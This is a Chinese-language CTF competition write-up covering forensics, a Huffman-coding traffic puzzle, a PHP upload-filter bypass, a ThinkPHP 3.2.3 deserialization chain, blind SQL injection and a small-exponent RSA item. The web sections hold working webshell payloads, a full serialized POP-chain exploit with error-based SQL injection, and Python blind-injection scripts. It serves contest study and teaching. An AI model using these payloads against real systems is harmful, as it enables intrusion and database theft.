日期:2021-04-06
作者:宸极实验室
介绍:总排名全国第 23 名,还需要继续努力。
小编提醒:关注微信公众号『宸极实验室』,回复 『红明谷杯』,即可获取题目附件。
打开以后是选择题,做题即可获取 flag。
flag{7b01fbd9-3d99-49a4-9760-3176e90b0804}
题目给出的附件中只有 User
目录下的文件,在用户 link3
桌面中发现 flag.7z
以及 log_data.txt
,从文本中得到提示,结合题目名称,猜测跟输入法有关系。
网上查询资料后找到微软输入法的词库文件,路径 \AppData\Roaming\Microsoft\InputMethod\Chs
,是用词库编辑器可以看到部分文字,但是只有ChsPinyinUDL.dat
读取成功了。
起初根据六个字节爆破一波,无果后目光回到之前加载失败的文件,ChsPinyinIH.dat
读取失败了,提示说越界,结合 Recent
最近访问的文件,推测文件结构被改过,索性直接打开看,注意格式是 Unicode
,在其中发现六位长度的字符串有志者事竟成
,尝试了一下解压成功。
解压后的 PDF,图片底下有段文字,拖动下图片就可以看到。
flag{Y0u_F1nd_h1dd3n_m3g}
下载附件,解压,发现是个流量包
改后缀名,Wireshark
打开,追踪一下 TCP
流,拿到了题目中截取的内容,如图。
猜测是二进制转字符,尝试了转 3-56
进制,发现都没出啥东西。
查看了一下 01 的个数,发现是 5212,分解一下质因数,只能是 2*2*1303
,所以猜测不是通过二进制直接转的字符。
放表格里,按照右侧的数字递增排一下顺序,发现有多组重复的数字,并且 {}
对应的是 1,-
对应的是 4。
此时猜测,右侧的数字可能是频率,使用 sum
函数计算了一下和,发现正好是 1000
,和题目中给到的 surprise message len: 1000
相匹配。
结合 右侧的数字是频率 + 数字有重复 + 输出是 01 ,猜测是 哈弗曼树。
此时有了 哈弗曼树 的频率、输出,需要求原文。
网上找了很多脚本,都搞不了。此时想到,既然有了频率,可以输出相同的二叉树,从而得到字符和对应的01编码。
按照给的顺序,写个脚本,直接输出,然后去掉多余的空格。
直接网上找了个在线的网站生成,此处有坑,内容不能包含符号,所以把 {-}
分别用大写字母 ABC 代替,直接生成了二叉树。
人工匹出来,明文和对应的编码,如下
网上找了个在线的解码工具,垃圾网站,解出来的有问题。
手撸了个脚本,GetFlag
得到了最终的 flag
flag{50d477a2-6036-d0a9-9d63-49c2e9e5d1e5}
题目代码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
首先,这不是无字母数字webshell
。
恰恰相反,本题对常见的无字母数字webshell
做了过滤。
例如:过滤了异或符号,过滤了取反符号,过滤了下划线等。
并且,对于php
标签,过滤了php
字符。
可通过php
短标签绕过。
<? ?>
谷歌一下,你就知道,最短的webshell
是:
<?=`$_GET[1]`?>
由于过滤了下划线,我们不能用常规的传参,但可以直接执行命令。php
语言中,会将反引号中间的内容,当作shell
语句执行。
例如:
<?=`whoami`?>
payload:
?action=upload&data=<?=`whoami`?>
访问pwd
得到的路径,即可看到结果。
虽然过滤了空格,我们可以通过%09
进行绕过。
?action=upload&data=<?=`ls%09/`?>
可看到flag
文件为php
文件!whatyouwantggggggg401.php
由于过滤了php
字符,可通过*
通配符绕过
?action=upload&data=<?=`cat%09/!whatyouwantggggggg401*`?>
Ctrl+U
即可得到flag
flag{4d3e0093-e9de-4a15-9c09-d97abb5ad8c8}
thinkphp3.2.3
版本,简单扫一下目录可得到www.zip
其中./Application/Home/Controller/IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
echo(unserialize(base64_decode(file_get_contents('php://input'))));
$this->display();
}
public function test(){
echo(unserialize(base64_decode(file_get_contents('php://input'))));
}
}
定义了反序列化方法
例如:
http://XXX/index.php?s=Home/Index/test
POST:czo0OiJ0ZXN0Ijs=
谷歌发现了一篇思路一致的文章,https://www.jianshu.com/p/41782991b4b2
根据payload
构建远程fakemysql
成功读取文件
通过读取到/start.sh
#!/bin/sh
FLAG_PATH=/var/www/html/tp3.sql
FLAG_MODE=M_SQL
if [ ${ICQ_FLAG} ];then
case $FLAG_MODE in
"M_ECHO")
echo -n ${ICQ_FLAG} > ${FLAG_PATH}
FILE_MODE=755
chmod ${FILE_MODE} ${FLAG_PATH}
;;
"M_SED")
#sed -i "s/flag{x*}/${ICQ_FLAG}/" ${FLAG_PATH}
sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
;;
"M_SQL")
sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
mysql -uroot -proot < ${FLAG_PATH}
rm -f ${FLAG_PATH}
;;
*)
;;
esac
echo [+] ICQ_FLAG OK
unset ICQ_FLAG
else
echo [!] no ICQ_FLAG
fi
发现,flag
在数据库中,mysql
帐号密码均为root
通过payload
连接数据库失败,密码错误
经过尝试后发现,密码为123456
连接后可通过报错注入的方式显示数据
查询可知,存在tp
库,f14g
表
由于用的报错注入函数存在32
位字符限制,查询的时候,通过mid
函数切片
最终payload为:
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "123456"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where extractvalue(1,mid(concat(0x7e, (SELECT * from tp.f14g),0x7e),1,32))#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
flag{c072f84c-df23-4d5e-ab53-96d792515416}
题目有注册和登录,疑似二次注入
经过fuzz
过滤了单引号,空格,or
等字符
二次注入失败
在经过一系列失败后,发现可能为盲注
注册admin1
帐号
登录时发现,存在双引号的万能密码
username=admin1"||"&password=1
或者
username=admin1"||1#&password=1
通过对字符的fuzz
,查看笔记,可能唯一适用就是regexp
了
但过滤了^和$
此路不通
username=admin1"||right(user(),1)regexp("t")#&password=1
但是这种是可以的
username=1"||user()/**/regexp/**/user()#&password=1
然后,变形一下
username=1"||left(user(),1)/**/regexp/**/"r"#&password=1
可得
username=1"||left(user(),4)/**/regexp/**/"root"#&password=1
同理可得
username=1"||left(database(),3)/**/regexp/**/"ctf"#&password=1
当前用户是root
,当前数据库是ctf
接下来就是爆表名,脚本如下:
import os
import requests
url = "http://eci-2zeg9ymisdv0ind1064m.cloudeci1.ichunqiu.com/login.php"
s = requests.session()
ss = ',{}abcdefghijklmnopqrstuvwxyz0123456789'
flag = ''
for i in range(1,50):
for j in ss:
data = {
'username':'1"||left((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/regexp/**/"ctf"),%d)/**/regexp/**/"%s"#'%(i,flag+j),
'password':'1'
}
res = s.post(url,data).text
if 'home' in res:
flag += j
print(flag)
break
得到表名为ctf
和f1ag
最终payload:
username=1"||left((select/**/*/**/from/**/f1ag),1)/**/regexp/**/"f"#&password=1
脚本如下:
import os
import requests
import string
url = "http://eci-2zeg9ymisdv0ind1064m.cloudeci1.ichunqiu.com/login.php"
s = requests.session()
ss = string.printable
ss = ss[0:ss.index('*')] + ss[ss.index('*')+1:]
flag = ''
for i in range(1,50):
for j in ss:
data = {
'username':'1"||left((select/**/*/**/from/**/f1ag),%d)/**/regexp/**/"%s"#'%(i,flag+j),
'password':'1'
}
res = s.post(url,data).text
if 'home' in res:
flag += j
print(flag)
break
由于-
被过滤了,所以将.
替换成-
和{}
即可得到flag
flag{a46e8aa1-86c8-47ee-933f-28e36960218c}
## Crypto
看到e=3
,最先想到低加密指数攻击,直接开三次方即可。
flag{w0_x1hu1n_y0u_b5st}